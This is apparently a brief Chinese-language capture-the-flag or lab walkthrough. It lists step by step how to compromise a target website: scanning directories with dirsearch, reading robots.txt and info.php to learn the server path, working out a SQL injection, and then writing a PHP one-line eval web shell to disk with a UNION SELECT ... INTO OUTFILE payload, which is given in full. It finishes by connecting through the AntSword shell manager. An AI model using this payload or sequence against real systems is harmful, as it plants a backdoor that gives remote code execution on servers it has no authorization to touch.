1、打开靶机网站
我们发现什么都没有
2、使用dirsearch进行目录扫描
发现有一个robots.txt文件,打开之后发现两个目录,依次访问,只打开一个目录
3、再次扫描第一个网址目录,发现一个info.php,打开发现了绝对路径
4、在唯一的搜索框进行判断闭合方式
5、判断列数,发现有三列
6、查询数据库名
7、写入一句话木马
1' union select 1,2, '<?php @eval($_post[cmd]);?>' into outfile '/home/www/html/web1x443290o2sdf92213//se3reTdir777/uploads/ljq.php' #
8、用蚁剑进行连接查看